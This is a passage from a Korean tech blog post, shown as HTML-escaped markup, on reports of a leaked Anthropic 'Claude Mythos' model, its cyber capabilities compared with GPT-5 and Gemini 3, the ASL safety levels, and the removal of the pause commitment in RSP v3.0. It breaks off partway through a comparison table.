data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Mythos의 &quot;step change&quot;가 업계에서 어떤 의미인지 이해하려면, 동시대 경쟁 모델들의 위치를 함께 봐야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론티어 AI 현황 비교 (2026년 3월 기준)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;주요 강점&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;출처/상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Claude Mythos&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;코딩&amp;middot;학술추론&amp;middot;사이버보안 &quot;dramatically higher&quot;, &quot;step change&quot; &amp;mdash; Opus 4.6 대비&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;유출 문서 / Fortune (2026-03-26). 얼리 액세스 테스트 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;GPT-5 계열&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;코딩&amp;middot;에이전틱 작업 강화, SWE-bench 고점. GPT-5.1-Codex-Max는 사이버 CTF 76%&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;OpenAI 공식 발표. 정식 출시 완료 단계 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Gemini 3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;에이전틱/vibe coding, 멀티모달 추론 강화&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;Google DeepMind FSF v3 (2025-09-22) 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5 계열이 코딩과 에이전틱 작업에서 강세를 보이는 동안, 앤트로픽은 Claude Mythos로 &lt;b&gt;사이버보안 역량을 차별화 축&lt;/b&gt;으로 내세우고 있다는 점이 유출 문서에서 읽힌다. 다만 이는 앤트로픽 내부 문서의 자기 평가이며, GPT-5와의 직접 벤치마크 비교는 공식 발표 이후에야 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 4 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 전례 없는 사이버보안 위험&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내부 경고 내용&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t4u9i/dJMcagLJWOn/lYbEdFC7dvRXv85UjG9wz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t4u9i/dJMcagLJWOn/lYbEdFC7dvRXv85UjG9wz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t4u9i/dJMcagLJWOn/lYbEdFC7dvRXv85UjG9wz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft4u9i%2FdJMcagLJWOn%2FlYbEdFC7dvRXv85UjG9wz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1062&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 유출에서 가장 충격적인 부분은 &lt;b&gt;앤트로픽 자신이 자사 모델의 위험을 경고&lt;/b&gt;하는 내용이었다. 유출 문서에는 다음과 같은 표현이 포함됐다. (출처: Fortune, The Decoder, 2026-03-26)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;유출 문서의 경고 표현&lt;/b&gt;&lt;br /&gt;1. &lt;b&gt;&quot;currently far ahead of any other AI model in cyber capabilities&quot;&lt;/b&gt;&lt;br /&gt;(현재 사이버 역량에서 다른 어떤 AI 모델보다 훨씬 앞서 있다)&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;&quot;unprecedented cybersecurity risks&quot;&lt;/b&gt;&lt;br /&gt;(전례 없는 사이버보안 위험)&lt;br /&gt;&lt;br /&gt;3. Fortune 보도에 따르면, 유출 문서는 이 시스템이 방어자들의 대응 속도를 크게 앞지르는 방식으로 취약점을 악용할 수 있는 모델들의 등장을 예고한다고 서술했다. (원문 취지 요약 &amp;mdash; 직접 인용 아님)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공격자 vs 방어자 비대칭&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이버보안 분야에서 AI의 등장은 공격과 방어 모두에 영향을 미친다. 그런데 이번 유출 문서가 특별히 경고하는 것은 &lt;b&gt;비대칭성&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;방어자는 넓은 표면(전체 코드베이스, 모든 시스템)을 지켜야 하는 반면, 공격자는 단 하나의 취약점만 찾으면 된다. AI가 취약점 탐색 속도를 획기적으로 높인다면, 이 비대칭성은 더욱 심화된다. 앤트로픽의 내부 문서는 이 모델이 방어자가 대응하기 전에 취약점을 악용할 수 있는 속도를 가질 수 있다고 경고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바로 이 때문에 앤트로픽이 출시 전략에서 &lt;b&gt;사이버 방어 조직에 먼저 접근권을 주는 방향&lt;/b&gt;을 고려하고 있다는 내용이 유출 문서에 포함됐다. 공격자보다 방어자가 먼저 준비할 수 있도록 하겠다는 취지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;업계 전반의 사이버 위험 &amp;mdash; Anthropic만의 문제가 아니다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;unprecedented cybersecurity risks&quot;라는 표현을 앤트로픽 단독의 과장으로 읽으면 안 된다. 경쟁사들도 같은 문제를 인식하고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론티어 AI 사이버 역량 &amp;mdash; 업계 현황&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;사이버 관련 공식 평가&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;정책 대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Claude Mythos&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;내부 문서: &quot;다른 어떤 AI보다 사이버 역량 far ahead&quot;, &quot;unprecedented risks&quot; &amp;mdash; 유출 문서 기반 [UNVERIFIED 공식 미확인]&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;방어 조직 얼리 액세스 우선 검토 (유출 초안)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;GPT-5.1-Codex-Max&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;CTF 벤치마크 76%&lt;/b&gt; (GPT-5 기준 27%에서 급상승) &amp;mdash; OpenAI Preparedness Framework 기준 High cybersecurity capability (출처: OpenAI, 2025-12-10)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;Preparedness Framework Critical 평가 시 배포 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Gemini 3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;Google FSF v3 (2025-09-22): &quot;improved protection against misuse via cyberattacks&quot; 명시 &amp;mdash; 사이버공격 오용 방지 강화&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd;&quot;&gt;CCL(Critical Capability Level) 기반 alert threshold 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, &quot;unprecedented&quot;라는 앤트로픽의 표현은 &lt;b&gt;Anthropic 자신의 이전 모델 대비&lt;/b&gt; 전례 없는 수준이라는 의미이면서, 동시에 GPT-5.1-Codex-Max가 이미 CTF 76%를 기록하는 등 &lt;b&gt;업계 전체가 함께 직면한 사이버 dual-use 리스크&lt;/b&gt;의 한 단면이기도 하다. Anthropic만 위험한 모델을 만드는 것이 아니라, 프론티어 AI 전반이 이 임계점에 도달하고 있다는 신호다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;개발자 관점에서&lt;/b&gt;&lt;br /&gt;이 경고가 현실화된다면, 코드베이스를 가진 모든 개발자&amp;middot;기업은 영향을 받는다. 앤트로픽이 방어자 우선 출시를 고려하는 이유가 여기에 있다. 코드 보안 감사 도구, 자동화된 취약점 탐지, 보안 테스트 자동화에 대한 수요가 급격히 높아질 것으로 예상된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 5 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. ASL-4 임박 신호&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ASL 체계란&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ppR9b/dJMcac3A1hf/N7buk3jaVYDSxphfMhDWE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ppR9b/dJMcac3A1hf/N7buk3jaVYDSxphfMhDWE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ppR9b/dJMcac3A1hf/N7buk3jaVYDSxphfMhDWE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FppR9b%2FdJMcac3A1hf%2FN7buk3jaVYDSxphfMhDWE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1042&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 2023년부터 &lt;b&gt;AI Safety Level(ASL)&lt;/b&gt;이라는 자체 위험 평가 체계를 운영하고 있다. AI 모델의 위험 수준을 1~5단계로 구분하는 것으로, RSP(Responsible Scaling Policy)의 핵심 프레임워크다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/responsible-scaling-policy&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;[주의] 아래 표는 RSP v3.0 공식 정의가 아닙니다&lt;/b&gt;&lt;br /&gt;RSP v3.0(2026-02-24)은 ASL 각 단계를 고정된 표로 재정의하지 않는다. v3.0의 핵심 운영 프레임은 단계 표가 아니라 &lt;b&gt;capability/usage thresholds + company plans + industry-wide recommendations + Risk Reports&lt;/b&gt;다. 특히 ASL-4 이상은 의도적으로 미정의 상태로 남겨두었다.&lt;br /&gt;&lt;br /&gt;아래 표는 2023년 RSP 소개와 업계 통용 해석을 정리한 &lt;b&gt;배경 설명&lt;/b&gt;이며, RSP v3.0의 공식 단계 정의로 이해하면 안 된다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.com/responsible-scaling-policy/rsp-v3-0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;RSP v3.0 전문&lt;/a&gt;)&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수준&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;현재 상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-1&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;기초&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;기본 AI 수준, 최소 위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-2&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;일반적 AI 도구 수준&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;&lt;b&gt;ASL-3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;고위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;비AI 기준선(검색&amp;middot;교과서) 대비 CBRN(화학&amp;middot;생물&amp;middot;방사능&amp;middot;핵) 오용 위험을 상당히 증가시키거나 저수준 자율 능력을 보이는 시스템 (출처: Anthropic RSP)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;&lt;b&gt;Claude Opus 4.6에 ASL-3 보호 조치 적용 중 (잠정&amp;middot;예방적)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ASL-4&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;초위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;[추정]&lt;/b&gt; 국가급 해킹 역량, 자율적 AI 연구 가능 &amp;mdash; &lt;span style=&quot;color: #cc7700;&quot;&gt;RSP v3.0에서 의도적으로 미정의. 향후 고역량 수준 확인 시 개발 예정&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;[추정] Mythos 접근 중 (미공식)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-5&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;초월&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;인류 문명 수준 위협&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 모델 수준과 ASL-4 임박&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;RSP v3.0(2026-02-24 발효) 문서에 따르면, Claude Opus 4.6은 AI R&amp;amp;D-4 능력 임계값을 초과하지 않는 것으로 현재 평가되어 있다. 그러나 문서는 동시에 이렇게 밝힌다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 10px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;RSP v3.0 문서 내용&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&quot;자신 있게 이 임계값을 배제하기가 점점 더 어려워지고 있으며, 더 주관적인 평가가 필요하다&quot;&lt;br /&gt;(RSP v3.0, 앤트로픽 공식 문서)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 매체의 분석에 따르면, Claude Mythos는 ASL-4 임계값에 &quot;접근 중&quot;일 가능성이 있다. 앤트로픽이 유출 문서에서 이 모델을 &quot;전례 없는 사이버보안 위험&quot;이라고 표현한 것이 이 분석의 근거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그러나 중요한 사실은 &lt;b&gt;ASL-4가 아직 정식으로 정의되지 않았다&lt;/b&gt;는 점이다. RSP v3.0에서 상위 ASL(4 이상)은 &quot;더 높은 AI 역량 수준이 어떤 모습일지 더 나은 그림이 생기면 세부 사항을 발전시킬 것&quot;이라고 명시한다. ASL-4 자체가 현재 미완성 정의라는 점에서, 어떤 모델이 ASL-4라고 공식 선언하는 것은 한동안 어렵다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI RSP v3.0 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Boris Cherny의 ASL 발언&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI타임스 보도에서는 앤트로픽 Claude Code 책임자 &lt;b&gt;Boris Cherny&lt;/b&gt;가 2026년 2월 초 팟캐스트에서 &quot;현재 모델이 ASL-3에서 4로 넘어가는 단계&quot;라고 밝혔다고 인용했다. 보리스 체르니(Boris Cherny, 앤트로픽의 Claude Code 창시자)의 2026년 2월 인터뷰는 Lenny's Newsletter 팟캐스트 등에서 확인되며, ASL 레벨 전환에 관한 발언도 여러 경로에서 보도됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&quot;ASL-3에서 4로 넘어가는 단계&quot;라는 정확한 인용구가 특정 팟캐스트 에피소드에서 그대로 발언됐는지는 공개 트랜스크립트를 통해 직접 확인하지 못했다. 발언의 취지는 여러 보도에서 유사하게 서술되지만, 인용 정확도는 원본 팟캐스트를 직접 확인할 것을 권장한다.&lt;br /&gt;&lt;br /&gt;관련 인터뷰: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lenny's Newsletter - Boris Cherny&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 6 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. RSP v3.0 &amp;mdash; Pause 약속 삭제의 의미&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무엇이 바뀌었나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2026년 2월 24일&lt;/b&gt;&lt;/span&gt; RSP v3.0을 발효했다. AI타임스 기사에서 &quot;2월 25일&quot;로 보도한 것과 하루 차이가 있는데, 이는 외신 보도 날짜(2월 25일 집중 보도)와 공식 발효일(2월 24일)이 혼동된 것으로 보인다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 공식 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;RSP v3.0의 가장 큰 변화는 &lt;b&gt;이전 버전에 있던 &quot;학습 중단(pause training)&quot; 하드 커밋먼트의 삭제&lt;/b&gt;다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이전 RSP&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;RSP v3.0 (2026-02-24)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;학습 중단 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;안전 완화 조치를 보장하지 못하면 &lt;b&gt;개발 중단&lt;/b&gt; (하드 커밋먼트)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;단독 pause 조항 삭제.&lt;/b&gt; 대신 &lt;b&gt;구조 변경&lt;/b&gt;: Risk Reports + external review + competitor-contingent commitments + industry-wide recommendations로 분리. 경쟁사 안전 조치 수준에 따른 조건부 약속(Appendix A) 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-4 이상 정의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;2023 RSP도 이미 ASL-4+는 &quot;아직 정의되지 않음&quot;으로 명시&lt;/td&gt;
